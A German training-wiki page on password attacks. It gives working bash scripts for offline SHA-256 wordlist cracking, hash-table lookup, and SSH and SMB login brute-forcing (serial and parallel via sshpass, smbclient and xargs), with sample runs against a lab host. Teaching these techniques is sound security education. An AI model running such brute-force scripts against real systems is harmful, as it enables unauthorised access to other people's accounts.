Passwort Angriffe Prinzip: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
K (Thomas.will verschob die Seite Passwort Angriffe Offline Prinzip nach Passwort Angriffe Prinzip)
(kein Unterschied)

Version vom 25. Juni 2026, 04:58 Uhr

Offline gegen Hash

Offline-Angriff gegen einen einzelnen Hash. Jedes Wort der Liste wird zur Laufzeit gehasht und mit dem Ziel-Hash verglichen - langsam, da pro Versuch ein sha256sum läuft.

#!/bin/bash
HASH=$1
while read LINE
do
 PW_HS=$(echo $LINE | sha256sum | cut -f 1 -d " ")
 if [[ $PW_HS == $HASH ]]
   then
      echo "Treffer: $LINE"
    exit
 fi
done < $2
  • ./pw-crack-offline.sh cd293be6cea034bd45a0352775a219ef5dc7825ce55d1f7dae9762d80ce64411 bad-passwords
Treffer: whatever

Hash-Tabelle

Die Hashes liegen vorberechnet als Tabelle vor (Format passwort:hash). Der Angriff vergleicht nur noch und spart sich das Hashen pro Durchlauf - schneller, dafür muss die Tabelle vorher erzeugt werden.

#!/bin/bash
HASH=$1
while read LINE
do
 PW_HS=$(echo $LINE | cut -f 2 -d :)
 if [[ $PW_HS == $HASH ]]
   then
     PW=$(echo $LINE | cut -f 1 -d :)
     echo "Treffer: $PW"
    exit
 fi
done < $2
  • ./pw-crack-offline-hash.sh ba22bae4d286f37a07e800585b8acba09add0e2a370c6ea5b2b354f859d8c12d bad-passwords.hash
Treffer: lovely

SSH-Hack

Online-Angriff: kein Hash, sondern es wird live gegen den Dienst angemeldet. Jeder Versuch erzeugt Netzwerkverkehr und taucht im Log auf — laut und langsam.

  • sudo apt install sshpass
  • cat ssh-pass-hack.sh
#!/bin/bash
# einfaches SSH-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
 if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" "exit" 2>/dev/null
   then
      echo "Treffer: $USER:$PW"
      exit
 fi
done < "$WORTLISTE"
  • ./ssh-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball

SMB-Hack

Wie der SSH-Hack, nur gegen den SMB-Dienst. Gleiche Logik, anderer Dienst.

  • cat smb-pass-hack.sh
#!/bin/bash
# einfaches SMB-PW-Brute wie hydra (Lab)
HOST=$1
USER=$2
WORTLISTE=$3
while read PW
do
 if smbclient -L "//$HOST" -U "$USER%$PW" -m SMB3 2>/dev/null >/dev/null
   then
      echo "Treffer: $USER:$PW"
      exit
 fi
done < "$WORTLISTE"
  • ./smb-pass-hack.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball

Multithread Methode

Statt die Wortliste seriell abzuarbeiten, werden mit xargs -P mehrere Anmeldeversuche parallel gestartet - deutlich schneller. Die eigentliche Anmeldung steckt in einer Funktion, die exportiert und von xargs pro Passwort aufgerufen wird. Achtung: zu viele Threads können beim Ziel einen Account-Lockout auslösen.

  • cat ssh-pass-hack-mt.sh
#!/bin/bash
HOST="$1"
USER="$2"
WORTLISTE="$3"
THREADS=16   # Anzahl paralleler Jobs
try_pw() {
    PW="$1"
    if sshpass -p "$PW" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o PreferredAuthentications=password "$USER@$HOST" exit >/dev/null 2>&1
    then
        echo "Treffer: $USER:$PW"
    fi
}
export -f try_pw
export HOST USER
cat "$WORTLISTE" | xargs -P $THREADS -I{} bash -c 'try_pw "$@"' _ {}
  • ./ssh-pass-hack-mt.sh 192.168.16.213 martha bad-passwords
Treffer: martha:basketball